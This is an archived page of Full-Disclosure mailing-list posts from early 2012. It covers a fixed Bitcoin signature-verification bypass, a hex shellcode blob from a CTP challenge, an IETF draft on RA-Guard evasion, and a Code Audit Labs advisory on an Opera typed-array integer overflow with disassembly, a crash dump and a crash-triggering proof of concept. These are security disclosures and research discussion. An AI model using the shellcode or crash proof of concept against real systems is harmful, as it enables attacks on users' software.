[Full-disclosure] Fun with Bitcoin, or how an exploit can hide in plain sight

[Aidan Thornton]

So most people on here have probably heard of Bitcoin from somewhere,
and most of you have probably got tired of it - but bear with me
because this is kind of entertaining. For those of you that have been
stuck in a darkened room with a disassembler and no internet access
for the past few months, Bitcoin's a clever digital currency that
manages to solve the problem of someone spending the same money twice
without needing any kind of central trusted authority. It does this by
using a variant of hash-cash to make rewriting the history of past
transactions expensive.

Now this means that someone with more than half the total compute
power can launch certain attacks - they're listed on the Bitcoin wiki
at https://en.bitcoin.it/wiki/Weaknesses#Attacker_has_a_lot_of_computing_power
- but even they aren't meant to have total control. In particular,
they're not meant to be able to spend other people's money because
doing so requires a signature from their private key:

"The attacker can't: Send coins that never belonged to him"

For several months that claim has been *false* as a result of this
commit by the lead Bitcoin developer:
https://github.com/bitcoin/bitcoin/commit/b14bd4df58171454c2aa580ffad94982943483f5

Now, while obviously that commit is doing something slightly risky,
there's a nice reassuring comment from him in the code explaining
exactly why it's not actually a security risk:

// Skip ECDSA signature verification when connecting blocks
(fBlock=true) during initial download
// (before the last blockchain checkpoint). This is safe because block
merkle hashes are
// still computed and checked, and any change will be caught at the
next checkpoint.

It's a very convincing explanation to anyone that understands Bitcoin.
You can only really add a blockchain checkpoint if all the nodes agree
that the chain up to that point is valid - otherwise things will break
in a fairly spectacular and obvious way - so a whole bunch of other
Bitcoin nodes run by many independent people will already have
verified the ECDSA signatures. There's even a good justification for
making the change. Initial blockchain downloads are far too slow which
discourages new users, and ECDSA signature verification is one of the
slowest parts.

Unfortunately the comment is fatally wrong. Even more scarily, there's
no reason at all to suspect this from the commit diff, which is
probably why no-one noticed anything was amiss when it was committed.
If you take a look at the actual definition of IsInitialBlockDownload
there's actually *two* situations which it considers part of the
initial download. One of them is indeed being before the last
blockchain checkpoint:

if (pindexBest == NULL || nBestHeight <
Checkpoints::GetTotalBlocksEstimate()) return true;

The other involves the timestamp included within the last block and
how recently it was received:

return (GetTime() - nLastUpdate < 10 && pindexBest->GetBlockTime() <
GetTime() - 24 * 60 * 60);

So, if we receive a block less than 10 seconds after the previous one
and the previous block had a timestamp more than 24 hours in the past,
we don't bother to verify any of the ECDSA signatures in it and will
allow it to include transactions that spend random people's Bitcoins!

A powerful attacker could definitely exploit this; timestamps in the
future are rejected and Bitcoin won't generally accept a version of
history in which time goes backwards, but otherwise a 51% attacker can
choose whatever timestamps they like and can delay releasing their
version of the chain to meet the "less than 10 seconds" requirement.
It's a very expensive attack but far from impossible.

By full-disclosure standards this is actually old news; I disclosed it
semi-publicly to the Bitcoin developers about a month ago and they
committed a fix back then, and there's even been a Bitcoin release
0.5.2 since then which includes the fix (though only because one of
the other developers stubbornly insisted on creating a bugfix release
for other reasons - the head developer was strongly against it). All
previous 0.5.x releases were vulnerable and 0.6 hasn't been released
yet. I only just got around to looking into how the vulnerability got
in originally though and it doesn't appear anyone's really talked
about it.

This isn't a formal advisory either, more an example of how a
vulnerability can easily be introduced by a seemingly innocuous commit
and why the Bitcoin code needs more scrutiny.

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Tricky Shellcode

[Joshua Thomas]

Can anyone help in solving what this shellcode does?

\x31\xC0\x50\x68\x70\x79\x71\x78\x68\x72\x77\x27\x71\x68\x77\x79\x74\x74\x68\x25\x72\x25\x24\x68\x24\x24\x20\x24\x68\x75\x78\x76\x78\x68\x73\x79\x75\x79\x68\x23\x76\x74\x71\x68\x25\x71\x70\x73\x68\x70\x75\x74\x75\x68\x75\x24\x78\x73\x68\x25\x77\x76\x71\x68\x22\x72\x73\x23\x68\x24\x76\x27\x77\x68\x73\x75\x76\x79\x68\x20\x79\x70\x25\x68\x73\x72\x75\x77\x68\x27\x77\x71\x24\x68\x27\x22\x75\x73\x68\x23\x79\x70\x76\x68\x75\x75\x24\x70\x68\x22\x23\x71\x27\x68\x25\x79\x71\x22\x68\x22\x72\x27\x25\x68\x75\x23\x22\x77\x68\x22\x24\x75\x76\x68\x27\x25\x20\x24\x68\x75\x70\x27\x73\x68\x77\x20\x79\x24\x68\x72\x73\x70\x23\x68\x70\x78\x70\x23\x68\x78\x24\x71\x71\x54\x5E\x8B\xFE\x8B\xD7\xFC\xB9\x80\x00\x00\x00\xBB\x41\x00\x00\x00\x31\xC0\x50\xAC\x33\xC3\xAA\xE2\xFA\x54\x5E\xCC

Thanks
JT
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Tricky Shellcode

[Grandma Eubanks]

Try harder.

FYI to the list - This is for the CTP challenge by offensive security
apparently. It does nothing really useful.

On Wed, Feb 1, 2012 at 2:57 PM, Joshua Thomas wrote:

> Can anyone help in solving what this shellcode does?
>
>
> \x31\xC0\x50\x68\x70\x79\x71\x78\x68\x72\x77\x27\x71\x68\x77\x79\x74\x74\x68\x25\x72\x25\x24\x68\x24\x24\x20\x24\x68\x75\x78\x76\x78\x68\x73\x79\x75\x79\x68\x23\x76\x74\x71\x68\x25\x71\x70\x73\x68\x70\x75\x74\x75\x68\x75\x24\x78\x73\x68\x25\x77\x76\x71\x68\x22\x72\x73\x23\x68\x24\x76\x27\x77\x68\x73\x75\x76\x79\x68\x20\x79\x70\x25\x68\x73\x72\x75\x77\x68\x27\x77\x71\x24\x68\x27\x22\x75\x73\x68\x23\x79\x70\x76\x68\x75\x75\x24\x70\x68\x22\x23\x71\x27\x68\x25\x79\x71\x22\x68\x22\x72\x27\x25\x68\x75\x23\x22\x77\x68\x22\x24\x75\x76\x68\x27\x25\x20\x24\x68\x75\x70\x27\x73\x68\x77\x20\x79\x24\x68\x72\x73\x70\x23\x68\x70\x78\x70\x23\x68\x78\x24\x71\x71\x54\x5E\x8B\xFE\x8B\xD7\xFC\xB9\x80\x00\x00\x00\xBB\x41\x00\x00\x00\x31\xC0\x50\xAC\x33\xC3\xAA\xE2\xFA\x54\x5E\xCC
>
> Thanks
> JT
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fun with Bitcoin, or how an exploit can hide in plain sight

[Dan Kaminsky]

Welcome to why BitCoin is so impressive.  You've got this app.  It's wide
open to the Internet, to the point where it opens up firewall rules if
necessary.  It's running some home grown network protocol, that ostensibly
ships little executable programs around.  It's written in C++, the
non-memory safe language you shoot your foot off with.  If you break it,
you get all the money.

Given all those anticonstraints, you're *still* left mucking around with
incredibly subtle design bugs, like my deanonymization through being the
majority of the cloud, or Microsoft's Red Balloon attack in which they
"hoard" transaction information that pays a large fee, or your (really
cool) exploit against signature checking optimization.

It's a fun bug you found, and I'm glad its fixed, but oh man is it hard to
exploit, and at the point there's a 51% attacker, the entire system has
already fallen apart (if for no other reason than the 51% attacker can
censor and even reverse arbitrary transactions by creating the longer block
chain, both by refusing to include transactions, and by assigning to
himself the initial coins others might have thought they'd mined).

Great work though!

On Wed, Feb 1, 2012 at 10:05 AM, Aidan Thornton wrote:

> So most people on here have probably heard of Bitcoin from somewhere,
> and most of you have probably got tired of it - but bear with me
> because this is kind of entertaining. For those of you that have been
> stuck in a darkened room with a disassembler and no internet access
> for the past few months, Bitcoin's a clever digital currency that
> manages to solve the problem of someone spending the same money twice
> without needing any kind of central trusted authority. It does this by
> using a variant of hash-cash to make rewriting the history of past
> transactions expensive.
>
> Now this means that someone with more than half the total compute
> power can launch certain attacks - they're listed on the Bitcoin wiki
> at
> https://en.bitcoin.it/wiki/Weaknesses#Attacker_has_a_lot_of_computing_power
> - but even they aren't meant to have total control. In particular,
> they're not meant to be able to spend other people's money because
> doing so requires a signature from their private key:
>
> "The attacker can't: Send coins that never belonged to him"
>
> For several months that claim has been *false* as a result of this
> commit by the lead Bitcoin developer:
>
> https://github.com/bitcoin/bitcoin/commit/b14bd4df58171454c2aa580ffad94982943483f5
>
> Now, while obviously that commit is doing something slightly risky,
> there's a nice reassuring comment from him in the code explaining
> exactly why it's not actually a security risk:
>
> // Skip ECDSA signature verification when connecting blocks
> (fBlock=true) during initial download
> // (before the last blockchain checkpoint). This is safe because block
> merkle hashes are
> // still computed and checked, and any change will be caught at the
> next checkpoint.
>
> It's a very convincing explanation to anyone that understands Bitcoin.
> You can only really add a blockchain checkpoint if all the nodes agree
> that the chain up to that point is valid - otherwise things will break
> in a fairly spectacular and obvious way - so a whole bunch of other
> Bitcoin nodes run by many independent people will already have
> verified the ECDSA signatures. There's even a good justification for
> making the change. Initial blockchain downloads are far too slow which
> discourages new users, and ECDSA signature verification is one of the
> slowest parts.
>
> Unfortunately the comment is fatally wrong. Even more scarily, there's
> no reason at all to suspect this from the commit diff, which is
> probably why no-one noticed anything was amiss when it was committed.
> If you take a look at the actual definition of IsInitialBlockDownload
> there's actually *two* situations which it considers part of the
> initial download. One of them is indeed being before the last
> blockchain checkpoint:
>
> if (pindexBest == NULL || nBestHeight <
> Checkpoints::GetTotalBlocksEstimate()) return true;
>
> The other involves the timestamp included within the last block and
> how recently it was received:
>
> return (GetTime() - nLastUpdate < 10 && pindexBest->GetBlockTime() <
> GetTime() - 24 * 60 * 60);
>
> So, if we receive a block less than 10 seconds after the previous one
> and the previous block had a timestamp more than 24 hours in the past,
> we don't bother to verify any of the ECDSA signatures in it and will
> allow it to include transactions that spend random people's Bitcoins!
>
> A powerful attacker could definitely exploit this; timestamps in the
> future are rejected and Bitcoin won't generally accept a version of
> history in which time goes backwards, but otherwise a 51% attacker can
> choose whatever timestamps they like and can delay releasing their
> version of the chain to meet the "less than 10 seconds" requirement.
> It's a very expensive attack but far 

Re: [Full-disclosure] Tricky Shellcode

[InterN0T Advisories]

In the second part of the FC4.me challenge, it says you need XXX amount of
bytes for a reg key.

The shellcode below, is of course, assembly instructions. Have you tried
running the entire code? There's a CC / break in the end in case you load
the code into another program, so you won't execute the rest of the code. 

If you compiled this into a program, nothing would really happen. If you
on the other hand, executed the program aka this shellcode in a debugger,
you would see that something is pushed to the stack, and modified, in
memory. Something that seemed unreadable, is readable, and several
registers even hints the location in the beginning.

So, there's no syscalls being executed, and it can run on any IA-32
platform, probably more as long as they support the opcodes used. (Meaning,
it doesn't matter if you run this on Linux or Windows, but it's definitely
32-bit code.)

This code could've been anything from a simple program writing an image
(if we don't look at the size), to a real working backdoor / shell. Not all
shellcode is equal to backdoors, meterpreter stagers, WinExec(), etc.


Best regards,
MaXe

On Wed, 1 Feb 2012 15:57:02 -0500, Joshua Thomas 
wrote:
> Can anyone help in solving what this shellcode does?
> 
>
\x31\xC0\x50\x68\x70\x79\x71\x78\x68\x72\x77\x27\x71\x68\x77\x79\x74\x74\x68\x25\x72\x25\x24\x68\x24\x24\x20\x24\x68\x75\x78\x76\x78\x68\x73\x79\x75\x79\x68\x23\x76\x74\x71\x68\x25\x71\x70\x73\x68\x70\x75\x74\x75\x68\x75\x24\x78\x73\x68\x25\x77\x76\x71\x68\x22\x72\x73\x23\x68\x24\x76\x27\x77\x68\x73\x75\x76\x79\x68\x20\x79\x70\x25\x68\x73\x72\x75\x77\x68\x27\x77\x71\x24\x68\x27\x22\x75\x73\x68\x23\x79\x70\x76\x68\x75\x75\x24\x70\x68\x22\x23\x71\x27\x68\x25\x79\x71\x22\x68\x22\x72\x27\x25\x68\x75\x23\x22\x77\x68\x22\x24\x75\x76\x68\x27\x25\x20\x24\x68\x75\x70\x27\x73\x68\x77\x20\x79\x24\x68\x72\x73\x70\x23\x68\x70\x78\x70\x23\x68\x78\x24\x71\x71\x54\x5E\x8B\xFE\x8B\xD7\xFC\xB9\x80\x00\x00\x00\xBB\x41\x00\x00\x00\x31\xC0\x50\xAC\x33\xC3\xAA\xE2\xFA\x54\x5E\xCC
> 
> Thanks
> JT

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Fwd: RA-Guard: Advice on the implementation (feedback requested)

[Fernando Gont]

Folks,

We have talked about this one quite a few times (including
).
-- still, most implementations remain broken.

If you care to get this fixed, please provide feedback about this I-D on
the IETF *v6ops* mailing-list , and CC me if possible.

Thanks!

Best regards,
Fernando




 Original Message 
Subject: RA-Guard: Advice on the implementation  (feedback requested)
Date: Wed, 01 Feb 2012 21:44:29 -0300
From: Fernando Gont 
Organization: SI6 Networks
To: IPv6 Operations 

Folks,

We have just published a revision of our I-D "Implementation Advice for
IPv6 Router Advertisement Guard (RA-Guard)"
.

In essence, this is the problem statement, and what this I-D is about:

* RA-Guard is essential to have feature parity with IPv4.

* Most (all?) existing RA-Guard implementations can be trivially evaded:
if the attacker includes extension headers in his packets, the RA-Guard
devices fail to identify the Router Advertisement messages. -- For
instance, THC's "IPv6 attack suite" ()
contains tools that can evade RA-Guard as indicated.

* The I-D discusses this problem, and provides advice on how to
implement RA-Guard, such that the aforementioned vulnerabilities are
eliminated, we have an effective RA-Guard device, and hence
feature-parity with IPv4.

We'd like feedback on this I-D, including high-level comments on whether
you support the proposal in this I-D.

Thanks!

Best regards,
-- 
Fernando Gont
SI6 Networks
e-mail: fg...@si6networks.com
PGP Fingerprint:  31C6 D484 63B2 8FB1 E3C4 AE25 0D55 1D4E 7492



___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] Fwd: IPv6 RA-Guard: Advice on the implementation (feedback requested)

[Fernando Gont]

Folks,

We have talked about this one quite a few times (including
).
-- still, most implementations remain broken.

If you care to get this fixed, please provide feedback about this I-D on
the IETF *v6ops* mailing-list , and CC me if possible.

Thanks!

Best regards,
Fernando




 Original Message 
Subject: RA-Guard: Advice on the implementation  (feedback requested)
Date: Wed, 01 Feb 2012 21:44:29 -0300
From: Fernando Gont 
Organization: SI6 Networks
To: IPv6 Operations 

Folks,

We have just published a revision of our I-D "Implementation Advice for
IPv6 Router Advertisement Guard (RA-Guard)"
.

In essence, this is the problem statement, and what this I-D is about:

* RA-Guard is essential to have feature parity with IPv4.

* Most (all?) existing RA-Guard implementations can be trivially evaded:
if the attacker includes extension headers in his packets, the RA-Guard
devices fail to identify the Router Advertisement messages. -- For
instance, THC's "IPv6 attack suite" ()
contains tools that can evade RA-Guard as indicated.

* The I-D discusses this problem, and provides advice on how to
implement RA-Guard, such that the aforementioned vulnerabilities are
eliminated, we have an effective RA-Guard device, and hence
feature-parity with IPv4.

We'd like feedback on this I-D, including high-level comments on whether
you support the proposal in this I-D.

Thanks!

Best regards,
-- 
Fernando Gont
SI6 Networks
e-mail: fg...@si6networks.com
PGP Fingerprint:  31C6 D484 63B2 8FB1 E3C4 AE25 0D55 1D4E 7492



___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] [CAL-2012-0004] opera array integer overflow

[Code Audit Labs]

CAL-2012-0004 opera array integer overflow


1 Affected Products
=
11.60 and prior


2 Vulnerability Details
=

Code Audit Labs http://www.vulnhunt.com has discovered a integer 
overflow  vulnerability in array functions like
Int32Array,Int16Array... .

Opear vendor say "We have reproduced the problem, and determined that it 
does not have any security implications, since the crash is a caused by 
a memory fill operation which the webpage have no control over, and this 
operation will always crash. It is therefore classified as a stability 
issue, not a security issue. "


we still insist on that  it is a security issue or not should accord to 
root cause of this bug instead of is it exploitable or not. because you 
think it is unexploitable, someone can exploit it via deeply research.

So if most people of Security Community think this is a security issue,
please assign to a CVE number.


3 Analysis
=
Int16Array(2147483647) example
memory corrupt happen if satisfy with following Conditions
1: x*2  >2
2:x*2!=00
3: (x*2-1)+0x1f overflow 32bits.

so the length of malloc is (x*2-1)+0x1f
memset(eax+0x10,0,x*2) cause memory corrupt


text:5C769F57
.text:5C769F57 loc_5C769F57:   ; CODE XREF: 
sub_5C769DCE+17Cj
.text:5C769F57 mov eax, [esp+48h+var_20] ; var_20 is 2
.text:5C769F5B imuleax, [esp+48h+var_3C] ; var_3C is 
8001
.text:5C769F60 cmp eax, [esp+48h+var_3C]
.text:5C769F64 jb  short loc_5C769F37
.text:5C769F66 mov [esp+48h+size], eax
.text:5C769F6A mov eax, [ebp+arg_0]
.text:5C769F6D callsub_5C14A6E8
.text:5C769F72 push[esp+48h+size]  ; size
.text:5C769F76 pushdword ptr [eax] ; int
.text:5C769F78 push[ebp+arg_0] ; int
.text:5C769F7B callsub_5C765B6D
.text:5C769F80 add esp, 0Ch

...

.text:5C46A598
.text:5C46A598 arg_0   = dword ptr  4
.text:5C46A598 size= dword ptr  8
.text:5C46A598
.text:5C46A598 mov edx, [esp+arg_0]
.text:5C46A59C pushesi
.text:5C46A59D mov esi, [esp+4+size]
.text:5C46A5A1 testesi, esi
.text:5C46A5A3 jz  short loc_5C46A5AA
.text:5C46A5A5 lea eax, [esi-1]
.text:5C46A5A8 jmp short loc_5C46A5AC
.text:5C46A5AA ; 
---
.text:5C46A5AA
.text:5C46A5AA loc_5C46A5AA:   ; CODE XREF: 
sub_5C46A598+Bj
.text:5C46A5AA xor eax, eax
.text:5C46A5AC
.text:5C46A5AC loc_5C46A5AC:   ; CODE XREF: 
sub_5C46A598+10j
.text:5C46A5AC mov ecx, [edx+8]
.text:5C46A5AF add eax, 1Fh
.text:5C46A5B2 push0
.text:5C46A5B4 and eax, 0FFF8h
.text:5C46A5B7 pusheax
.text:5C46A5B8 pushedx
.text:5C46A5B9 callsub_5C019DA0

ext:5C765BF7 loc_5C765BF7:   ; CODE XREF: 
sub_5C765B6D+50j
.text:5C765BF7 push[ebp+size]  ; size
.text:5C765BFA lea eax, [ebx+10h]
.text:5C765BFD push0   ; c
.text:5C765BFF pusheax ; dst
.text:5C765C00 callmemset




4 Exploitable?

who known?


5 Crash info:
===
(d10.ff4): Access violation - code c005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=01fff21d ebx= ecx=0367ffb0 edx=0076 esi=019c5ff8 
edi=03610e68
eip=675b347e esp=02314de0 ebp=02314e24 iopl=0 nv up ei pl nz na 
pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs= 
efl=00010207
*** ERROR: Symbol file could not be found.  Defaulted to export symbols 
for C:\Program Files\Opera\Opera.dll -
Opera!OpGetNextUninstallFile+0x1961c:
675b347e 660f7f4150  movdqa  xmmword ptr [ecx+50h],xmm0 
ds:0023:0368=
0:000> .exr -1
ExceptionAddress: 675b347e (Opera!OpGetNextUninstallFile+0x0001961c)
ExceptionCode: c005 (Access violation)
   ExceptionFlags: 
NumberParameters: 2
Parameter[0]: 0001
Parameter[1]: 0368
Attempt to write to address 0368
0:000> kp
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be 
wrong.
02314e24  Opera!OpGetNextUninstallFile+0x1961c



6 POC:

open a html with following content


//这些全是crash
Int32Array(1073741823)
Float32Array(1073741823)
Float64Array(1073741823)
Int32Array(1073741823)
Uint32Array(1073741823)
Int16Array(2147483647)
ArrayBuffer(4294967295)





7 About Code Audit Labs:
=